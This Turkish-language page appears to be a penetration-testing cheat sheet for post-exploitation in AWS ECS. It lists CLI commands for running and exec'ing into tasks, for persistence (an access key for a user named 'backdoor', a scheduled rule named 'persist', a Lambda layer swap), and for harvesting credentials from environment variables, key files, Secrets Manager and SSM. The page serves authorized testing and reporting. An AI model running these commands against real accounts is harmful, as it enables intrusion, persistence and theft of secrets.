Skip to content

AWS - ECS Post Exploitation

AWS post-ex

AWS - ECS Post Exploitation — AWS ortamında veri/exfil, yan etki ve pivot notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Hedef veriyi / trafiği / compute’u seç.

  2. Exfil veya yan etki primitifini çalıştır.

  3. İkinci hesap / iç ağ pivotunu dene.

  4. Kanıt paketini (çıktı, hash, zaman) kaydet.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
aws sts get-caller-identity
Terminal window
aws configure list
Terminal window
echo $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'

AWS - ECS Post Exploitation için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
aws ecs run-task --cluster CLUSTER --task-definition TD --launch-type FARGATE --network-configuration awsvpcConfiguration='{subnets=[subnet-x],assignPublicIp=ENABLED}'
Terminal window
aws ecs update-service --cluster CLUSTER --service SVC --task-definition TD
Terminal window
aws ecs list-clusters
Terminal window
aws ecs list-services --cluster CLUSTER
Terminal window
aws ecs list-tasks --cluster CLUSTER
Terminal window
aws ecs describe-tasks --cluster CLUSTER --tasks TASK
Terminal window
aws ecs describe-task-definition --task-definition TD
Terminal window
aws ecs execute-command --cluster CLUSTER --task TASK --container C --interactive --command /bin/sh
Terminal window
aws ecs register-task-definition --cli-input-json file://td.json

Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.

Terminal window
aws iam create-access-key --user-name backdoor
Terminal window
aws lambda update-function-configuration --function-name FN --layers LAYER_ARN
Terminal window
aws events put-rule --name persist --schedule-expression 'rate(6 hours)'

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
aws secretsmanager list-secrets
Terminal window
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt